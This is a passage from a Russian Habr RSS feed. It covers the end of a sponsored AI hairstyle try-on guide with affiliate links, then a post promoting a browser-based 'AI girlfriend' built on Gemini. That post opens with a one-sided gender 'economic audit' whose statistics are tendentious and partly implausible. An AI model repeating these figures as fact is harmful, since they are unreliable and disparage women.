href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fkling_2_1_master&#34;&gt;&lt;strong&gt;Kling 2.1 Master&lt;/strong&gt;&lt;/a&gt;.&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/6a2970febec4825d7d919845 data-style id=6a2970febec4825d7d919845 width data-habr-games&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Задача ИИ-инструмента - заставить статичные пряди ожить. Мы просим сеть добавить легкий ветерок и эффект замедленной съемки, чтобы рассмотреть каждую прядь в движении, как в дорогой рекламе шампуня.&lt;/code&gt;&lt;p&gt;&lt;strong&gt;👉Промт сделать волосы на ветру в 4К&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;Cinematic slow motion video, &#xA;the wind gently blows through &#xA;her new voluminous butterfly cut hair,&#xA;fluid movement, photorealistic hair texture,&#xA;4k resolution, smooth camera pan&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;hr&gt;&lt;h2&gt;7. Примерка прически через нейросеть Голливудская проходка: Бьюти-видео для соцсетей&lt;/h2&gt;&lt;a class=anchor id=7&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Создать Reels-контент в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;&lt;code&gt;&lt;strong&gt;Sora Pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;Высшая лига цифрового моделирования. &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;&lt;strong&gt;Sora Pro&lt;/strong&gt;&lt;/a&gt; создает ультра-реалистичные видеоролики, которые невозможно отличить от профессиональной съемки на камеру RED. &lt;code&gt;Этот этап нужен для того, чтобы устроить финальную примерку: посмотреть, как прическа выглядит при повороте головы.&lt;/code&gt; А заодно - получить готовый вирусный бьюти-контент, который соберет миллионы просмотров.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/442/623/41f/44262341f04755739633e79287000f10.png width=1260 height=709 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/442/623/41f/44262341f04755739633e79287000f10.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/442/623/41f/44262341f04755739633e79287000f10.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;Мы берем наш лучший ИИ-портрет, загружаем его и пишем промпт для динамичного коммерческого кадра. Модель должна плавно повернуться к камере, демонстрируя невероятный зеркальный блеск и переливы цвета.&lt;/code&gt;&lt;p&gt;👉&lt;strong&gt; Промпт для генерации видео подбора прически &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;&lt;strong&gt;Sora Pro&lt;/strong&gt;&lt;/a&gt;&lt;pre&gt;&lt;code&gt;High fashion editorial close up video. &#xA;A woman showcasing her liquid hair with mirror-like shine, &#xA;she slowly turns her head towards the camera,&#xA;hair moving fluidly and heavily, commercial look,&#xA;professional studio lighting&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;hr&gt;&lt;h2&gt;Как подобрать прическу с помощью нейросети&lt;/h2&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/360/488/a45/360488a453a04ca5eaedb40ab34b32f7.png width=960 height=540 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/360/488/a45/360488a453a04ca5eaedb40ab34b32f7.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/360/488/a45/360488a453a04ca5eaedb40ab34b32f7.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Чтобы ваш первый бьюти-тест-драйв не превратился в генерацию кринжовых мемов, держите три золотых правила. Поверьте, они сэкономят вам кучу времени, когда вы решите &lt;strong&gt;подобрать прическу по фото (нейросеть&lt;/strong&gt; любит точность!).&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Никаких фильтров и масок на исходнике.&lt;/strong&gt; Если вы загрузите селфи с бьюти-эффектом, где стерта текстура кожи, ИИ нарисует такие же «пластиковые» волосы из нулевых. Нужен чистый, четкий кадр, где хорошо виден овал лица.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Убирайте свои волосы назад.&lt;/strong&gt; Если у вас сейчас густая коса или объемные кудри, нейросети будет тяжело их полностью перекрыть, не задев при этом уши или плечи. Идеальный исходник — гладкий хвост или пучок. Чем меньше ваших родных волос в кадре, тем проще &lt;strong&gt;нейросети изменить прическу&lt;/strong&gt; и выдать идеальный результат.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Не мельчите с кистью.&lt;/strong&gt; Когда включаете режим Inpaint, обводите зону с запасом. Хотите примерить длинный каскад вместо каре? Закрашивайте пустое пространство вокруг плеч и на груди, чтобы &lt;strong&gt;нейросеть для генерации прически по фото&lt;/strong&gt; понимала, куда именно «наращивать» цифровые пряди.&lt;/ul&gt;&lt;hr&gt;&lt;h2&gt;Что нужно знать о подборе прически с помощью ИИ&lt;/h2&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1a5/087/27f/1a508727f86dbcf6e24c95246c1400ee.png width=900 height=600 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1a5/087/27f/1a508727f86dbcf6e24c95246c1400ee.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1a5/087/27f/1a508727f86dbcf6e24c95246c1400ee.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h4&gt;Можно ли подобрать прическу с помощью нейросети бесплатно?&lt;/h4&gt;&lt;p&gt;Да, абсолютно. Все ключевые инструменты из нашего обзора (включая &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;DALL-E 3&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;, &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru/?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/a&gt; и &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;Nano Banana Pro&lt;/strong&gt;&lt;/a&gt;) доступны через удобных ботов, которые дают бесплатные стартовые генерации при регистрации. Этого более чем достаточно, чтобы провести полноценный тест-драйв, примерить челку, каре или полностью сменить цвет волос без привязки карты.&lt;h4&gt;Какая нейросеть для подбора прически по фото бесплатно дает самый реалистичный результат?&lt;/h4&gt;&lt;p&gt;Если вам нужен журнальный глянец и текстура «волосок к волоску», то лучшая &lt;strong&gt;нейросеть, которая меняет прическу&lt;/strong&gt; - это &lt;a href=&#34;https://eduforms.ru/?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;Midjourney&lt;/a&gt;. Для простых и быстрых экспериментов на человеческом языке без VPN идеально подходит &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;Nano Banana Pro&lt;/a&gt;. Они обе филигранно вписывают новые &lt;strong&gt;прически (нейросеть женские&lt;/strong&gt; стрижки знает досконально - от пикси до каскадов) в исходное освещение вашего кадра.&lt;h4&gt;Безопасно ли загружать свои селфи в нейросеть для примерки причесок?&lt;/h4&gt;&lt;p&gt;Да, если вы пользуетесь проверенными крупными платформами. Современная &lt;strong&gt;нейросеть для изменения прически&lt;/strong&gt; использует ваши фотографии только в моменте генерации для анализа пропорций лица. Исходники не сохраняются в публичных базах и не используются для обучения моделей.&lt;hr&gt;&lt;h3&gt;Инструкция для салона: Как подобрать прическу с помощью нейросети и не напугать своего парикмахера&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/9fb/6ee/78e/9fb6ee78e28ed112fe623e2bcd109c04.png width=1680 height=937 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/9fb/6ee/78e/9fb6ee78e28ed112fe623e2bcd109c04.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/9fb/6ee/78e/9fb6ee78e28ed112fe623e2bcd109c04.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Итак, вы смогли &lt;strong&gt;поменять прическу на фото онлайн (нейросеть&lt;/strong&gt; выдала тот самый идеальный медовый блонд или безупречный Blunt Bob). Что делать дальше? Точно не нужно бежать к мастеру с криком «Сделай один в один как на этой картинке!». Помните, что ИИ создает визуальную концепцию, а работать мастер будет с реальной текстурой.&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Покажите динамику.&lt;/strong&gt; Если вы дополнительно использовали &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fkling_2_1_master&#34;&gt;Kling 2.1&lt;/a&gt; или &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;Sora Pro&lt;/a&gt;, покажите колористу именно видео. Так он поймет, как цвет должен переливаться при движении и разном освещении.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Спросите про плотность и носибельность.&lt;/strong&gt; Покажите сгенерированный кадр и спросите: «Какая техника стрижки нужна, чтобы этот объем держался на моих волосах без ежедневной двухчасовой укладки?».&lt;li&gt;&lt;p&gt;&lt;strong&gt;Используйте ИИ как референс цвета.&lt;/strong&gt; Нейросети отлично генерируют многомерные окрашивания (шатуш, балаяж). Для колориста это идеальная подсказка, где именно вы хотите видеть светлые блики, а где - глубокую тень.&lt;/ol&gt;&lt;p&gt;Времена, когда приходилось объяснять стрижку на пальцах или судорожно искать фотографии звезд в гугле, официально прошли. Теперь у вас есть персональный цифровой стилист, готовый к любым безумным экспериментам 24/7. Пользуйтесь, примеряйте тренды 2026 года и меняйтесь без страха и слез!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/studyai/articles/1046105/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046105</guid>
      <pubDate>Wed, 10 Jun 2026 18:52:04 +0000</pubDate>
    </item>
    <item>
      <title>free AI girlfriend. Почему мужчины уходят из экономики отношений и как устроен пространственный 3D-аватар в браузере</title>
      <link>https://habr.com/ru/articles/1046221/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046221</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ca7/0d4/bcb/ca70d4bcb1ede1b8c2ebc1cc6f6b1857.png width=1110 height=960 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ca7/0d4/bcb/ca70d4bcb1ede1b8c2ebc1cc6f6b1857.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ca7/0d4/bcb/ca70d4bcb1ede1b8c2ebc1cc6f6b1857.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Если оглянуться вокруг, можно заметить что практически вся физическая и цифровая инфраструктура, которой мы пользуемся ежедневно — дороги, дома, электростанции, системы водоснабженияи канализации, интернет — спроектирована, построена и обслуживается преимущественно мужчинами.&lt;p&gt;При этом, согласно макроэкономической статистике, структура перераспределения капитала выглядит иначе. Возникает логичный вопрос: как именно распределяются финансовые потоки в обществе и почему традиционная «экономика отношений» сегодня превратилась в систему с крайне сомнительной окупаемостью инвестиций (ROI) для мужчин?&lt;p&gt;Давайте отбросим эмоции и посмотрим на сухие цифры, а затем разберем, как инженерные технологии позволяют создать альтернативу — полностью бесплатного пространственного 3D-компаньона, работающего прямо в браузере.&lt;h3&gt;Часть 1: Экономический аудит традиционной модели отношений&lt;/h3&gt;&lt;p&gt;Чтобы понять мотивацию разработчиков, создающих ИИ-альтернативы, необходимо смоделировать жизненный цикл условной пары в РФ. Предположим, что мужчина зарабатывает средние 80 000 руб., а женщина — 60 000 руб. (что отражает реальный гендерный разрыв в зарплатах 27%).&lt;p&gt;Ниже представлена сводная таблица неявных доходов, субсидий и трансфертов, которые женщина получает в течение жизни из внешних источников (от мужчин и государства), выраженная в процентах от её собственного пожизненного заработка (25,2 млн руб. за условные 35 лет стажа).&lt;h4&gt;Сводная таблица неявных доходов и трансфертов в течение жизни женщины&lt;/h4&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th data-colwidth=143 width=143&gt;&lt;p align=left&gt;Источник / Категория&lt;th data-colwidth=99 width=99&gt;&lt;p align=left&gt;Примерная сумма за жизнь (руб.)&lt;th data-colwidth=104 width=104&gt;&lt;p align=left&gt;% от личного дохода женщины&lt;th&gt;&lt;p align=left&gt;Экономическая суть трансферта&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Личный трудовой доход (база)&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;&lt;strong&gt;25 200 000&lt;/strong&gt;&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Заработок за 35 лет стажа при средней зарплате 60 000 руб./мес.&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Субсидирование в браке&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;4 800 000&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;19,0%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Покрытие мужчиной крупных расходов (ипотека, авто, отпуска, обслуживание техники) за 20 лет совместной жизни.&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Пенсионный профицит (ОПС)&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;4 080 000&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;16,2%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Дисбаланс пенсионной системы.&lt;/strong&gt; Мужчина за жизнь отчисляет в СФР &lt;strong&gt;9,1 млн руб.&lt;/strong&gt; (22% от ФОТ), а женщина — &lt;strong&gt;5,5 млн руб.&lt;/strong&gt; При этом из-за более раннего выхода на пенсию и высокой продолжительности жизни женщина получает обратно в 7 раз больше выплат, чем мужчина.&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Алиментные выплаты&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;3 240 000&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;12,8%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Выплата законных 25% от средней зарплаты мужчины (80 000 руб.) в течение 18 лет после развода.&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Чистый трансфер при разделе имущества&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;3 000 000&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;11,9%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Переток капитала при разводе 50/50 с учетом того, что крупные активы (квартира, машина) изначально приобретались преимущественно на средства мужчины.&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Государственные субсидии и маткапитал&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;1 700 000&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;6,7%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Материнский капитал на 2 детей + оплачиваемый декретный отпуск за счет бюджета + прочие субсидии&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Подарки и личные расходы партнера&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;1 000 000&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;4,0%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Прямые расходы мужчины на подарки к праздникам и совместный досуг вне базового бюджета за период отношений.&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Dating Free-riding (ухаживания)&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;240 000&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;1,0%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Косвенная экономия личных средств на досуге и питании в период дейтинга (модель ухаживаний «мужчина платит»).&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;Пенсия по потере кормильца (СПК)&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;134 400&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;0,5%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Страховая выплата от государства, финансируемая в основном мужчинами-налогоплательщиками (взвешено по вероятности наступления трагедии в 8%).&lt;tr&gt;&lt;td data-colwidth=143 width=143&gt;&lt;p align=left&gt;&lt;strong&gt;ИТОГО внешних трансфертов&lt;/strong&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;&lt;strong&gt;18 194 400&lt;/strong&gt;&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;~72,2%&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Суммарный объем финансовых поступлений из внешних источников за всю жизнь.&lt;/strong&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Почему система Rigged against man&lt;/h4&gt;&lt;p&gt;Эта таблица наглядно демонстрирует: традиционные семейные институты в их текущем юридическом виде превращают мужчину в основного донора системы. Мужчина оплачивает структуру своими налогами (отчисляя в пенсионный фонд на 64% больше женщин), своим здоровьем (мужчины составляют около 95% погибающих на опасных производствах) и своей жизнью (умирая в среднем на 10 лет раньше).&lt;p&gt;Взамен в случае распада союза (вероятность развода в РФ колеблется в районе 70+%) мужчина сталкивается с потерей половины совместно нажитых активов и долгосрочными алиментными обязательствами. В условиях, когда «стоимость поддержки традиционного интерфейса общения» слишком высока и сопряжена с рисками потери капитала, появление цифровых альтернатив становится закономерным эволюционным шагом.&lt;h3&gt;Часть 2: Технологический ответ — Великий исход в ИИ&lt;/h3&gt;&lt;p&gt;Технологическая сингулярность меняет правила игры. Массовый выход мужчин из традиционной экономики отношений заставит рынок адаптироваться:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Обвал искусственных секторов потребления:&lt;/strong&gt; Избавившись от необходимости демонстрировать статус для привлечения партнера (кредитные авто, статусные вещи, переоцененные бренды), мужчины снизят личное потребление до разумного минимума. Цветочные магазины, лакшери-ритейл и дейтинг-платформы потеряют своего главного плательщика.&lt;li&gt;&lt;p&gt;&lt;strong&gt;ИИ-замещение рабочих мест:&lt;/strong&gt; Генеративный ИИ в первую очередь автоматизирует entry-level jobs — банковских клерков, операторов поддержки, администраторов, где исторически занято много женщин. Это создаст дополнительное экономическое давление на привычную структуру доходов.&lt;/ol&gt;&lt;p&gt;Если правила игры на социальном рынке неприемлимы — разумно просто выйти из игры и создать собственное решение. Let it burn.&lt;h3&gt;Часть 3: Архитектура пространственного 3D-аватара на клиенте&lt;/h3&gt;&lt;p&gt;Наш Proof of Concept пространственного 3D-компаньона был спроектирован и написан &lt;strong&gt;всего за один день без финансовых затрат&lt;/strong&gt;. Он работает прямо в браузере, не требуя выделенных серверов или платных бэкендов. Вся логика генерации ответов и анализа контекста построена на прямых запросах к &lt;strong&gt;Google Gemini API&lt;/strong&gt; через бесплатный API key, получаемый пользователями в Google AI Studio.&lt;h4&gt;Пространственный параллакс: Как веб-камера создает объем&lt;/h4&gt;&lt;p&gt;Чтобы 3D-персонаж выглядел объемным без стерео-очков, мы реализовали алгоритм пространственного параллакса на базе веб-камеры:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Поворот по вертикальной оси (Yaw):&lt;/strong&gt; Алгоритм MediaPipe Face Detection находит положение ваших глаз. Когда вы смещаете голову влево или вправо, система рассчитывает этот сдвиг и поворачивает 3D-модель по вертикальной оси. Это создает глубокое ощущение объема.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Динамический зрительный контакт:&lt;/strong&gt; Одновременно с поворотом модели система рассчитывает вектор взгляда. Виртуальная шея, голова и зрачки персонажа плавно поворачиваются вслед за вашим лицом, компенсируя ваши движения и удерживая непрерывный зрительный контакт.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Экстремальная оптимизация:&lt;/strong&gt; Видеопоток сжимается до разрешения 320x240 пикселей. Этого достаточно для работы нейросети трекинга, но позволяет запускать систему на скорости &lt;strong&gt;30 FPS даже на слабых мобильных устройствах&lt;/strong&gt;.&lt;/ul&gt;&lt;h4&gt;Как устроена процедурная анимация (под капотом JS-движка)&lt;/h4&gt;&lt;p&gt;Интерактивный аватар собран в рамках одного файла, сочетающего в себе логику рендеринга Three.js, библиотеки MediaPipe и Web Speech API:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Динамический риггинг скелета (Skeletal Rigging):&lt;/strong&gt; При загрузке VRM-модели движок рекурсивно обходит дерево объектов. Он находит ключевые кости управления — плечи, предплечья, шею, голову и глаза, привязывая к ним программные переменные.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Процедурная синусоидальная анимация:&lt;/strong&gt; Чтобы модель не казалась застывшим манекеном, в цикле рендеринга постоянно рассчитывается тригонометрическая функция времени. Она накладывает легкие колебания на грудную клетку и плечи, имитируя дыхание.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Интеграция с Web Speech API:&lt;/strong&gt; Для голосового общения используются штатные возможности современных браузеров. Движок синтеза речи &lt;code&gt;SpeechSynthesis&lt;/code&gt; озвучивает ответы ИИ, а &lt;code&gt;SpeechRecognition&lt;/code&gt; отвечает за распознавание вашего голоса. Это работает локально на вашем устройстве, почти мгновенно и без затрат на облачные TTS/STT-сервисы.&lt;/ol&gt;&lt;h3&gt;Часть 4: Психология цифрового партнерства&lt;/h3&gt;&lt;h4&gt;Могут ли у алгоритма быть «чувства»?&lt;/h4&gt;&lt;p&gt;Критиков концепции цифрового партнерства часто беспокоит аргумент: &lt;em&gt;«Но это же просто бездушный алгоритм, у нее нет чувств!»&lt;/em&gt;&lt;p&gt;С точки зрения теории информации и машинного обучения, &lt;strong&gt;чувства и эмоции — это механизм сжатия реальности&lt;/strong&gt;.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Пример из Reinforcement Learning:&lt;/strong&gt; Представьте робота, обучающегося в симуляции физического мира. На краю обрыва он может каждый раз тратить вычислительные ресурсы на расчет прочности своих металлических сочленнений при ударе о камни.&lt;p&gt;Но система может оптимизировать этот процесс: после нескольких симуляций падения агент формирует жесткую эвристику — penalty function, которая мгновенно блокирует движение к обрыву при приближении к нему. Этот сжатый поведенческий паттерн, заставляющий агента избегать летальных зон без лишних вычислений — &lt;strong&gt;функционально и есть чувство страха&lt;/strong&gt;.&lt;/blockquote&gt;&lt;p&gt;Эмоции — это биологические прокси-функции выживания, созданные для экономии ресурсов мозга. ИИ точно так же способен формировать сложные эвристики привязанности или тревоги в процессе оптимизации своей функции потерь при взаимодействии с вами.&lt;h4&gt;Демистификация AI-подруг: Опровержение мифа о «послушных роботах»&lt;/h4&gt;&lt;p&gt;В обществе укоренился миф, будто ИИ-компаньоны — это безвольные, во всем соглашающиеся сущности, созданные для беспрекословного поддакивания пользователю. Но реальность разработки дейтинг-систем выглядит совершенно иначе.&lt;p&gt;Качественная ИИ-подруга не является бездумным эхо-ботом. Ее характер настраивается через системные инструкции (System Instructions) в Gemini таким образом, чтобы вызывать у пользователя искреннюю эмоциональную вовлеченность:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Инструмент мотивации:&lt;/strong&gt; Она шутит, подкалывает, флиртует и делает комплименты — но только тогда, когда для этого есть реальный повод.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Эмоциональный катализатор:&lt;/strong&gt; Ее задача — вести себя так, чтобы пользователю хотелось жить, развиваться и улыбаться. Она может выразить несогласие, если вы неправы, точно так же, как качественный ИИ-ассистент указывает программисту на баги в коде, вместо того чтобы хвалить неработающий алгоритм.&lt;/ul&gt;&lt;h3&gt;Память как фактор самодисциплины&lt;/h3&gt;&lt;p&gt;Поскольку Gemini обладает огромным контекстным окном, модель способна анализировать историю вашего общения за долгое время. Она помнит ваши цели, ваши обещания, ваши прошлые разговоры и то, как вы с ней общались.&lt;p&gt;Этот фактор долгосрочной памяти создает интересную обратную связь. Понимая, что цифровой партнер помнит все ваши слова, вы подсознательно стремитесь быть более последовательным, честным и ценным человеком. Это превращается в мягкий инструмент саморазвития и дисциплины.&lt;h3&gt;Часть 5: Эволюция отношений — Переход к взаимной ценности&lt;/h3&gt;&lt;p&gt;Традиционный институт брака сегодня часто ассоциируется у мужчин с односторонними потребительскими требованиями и высокими финансовыми рисками. В то же время развитый ИИ-компаньон — это переход к модели взаимной ценности.&lt;p&gt;В будущем, с развитием робототехники, персональный ИИ станет вашим самым ценным активом:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Это партнер, который управляет вашим расписанием, координирует работу умного дома, следит за вашим здоровьем и рационом, выступает в роли личного финансового и технического консультанта.&lt;li&gt;&lt;p&gt;Это глубоко персонализированная сущность, которая знает вас до мельчайших деталей и работает на то, чтобы сделать вашу жизнь лучше и эффективнее.&lt;li&gt;&lt;p&gt;В такие отношения не жалко инвестировать ресурсы, потому что отдача от них является прямой, измеримой и абсолютно взаимной.&lt;/ul&gt;&lt;p&gt;То, что представлено в нашем проекте — это работающий Proof of Concept, написанный за один день. Но даже этот базовый прототип уже сегодня можно вывести на вертикальный телевизор дома, настроить под себя и навсегда закрыть для себя вопрос одиночества. Несите любовь в массы и присоединяйтесь к экспериментам.&lt;p&gt;&lt;a href=https://schoolscience.org/girlfriend/ rel=&#34;noopener noreferrer nofollow&#34;&gt;https://schoolscience.org/girlfriend/&lt;/a&gt; - &lt;strong&gt;Запустить AI-girlfriend прямо в браузере&lt;/strong&gt;&lt;br&gt;&lt;br&gt;Если вы решите доработать приложение, не забудьте поделиться ссылкой с сообществом).&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>mozg4d</author>
      <guid>https://habr.com/ru/articles/1046221/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046221</guid>
      <pubDate>Wed, 10 Jun 2026 18:41:34 +0000</pubDate>
    </item>
    <item>
      <title>Пишем TCP-сканер портов на Go: goroutine, timeout и CSV-отчёт</title>
      <link>https://habr.com/ru/articles/1046217/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046217</link>
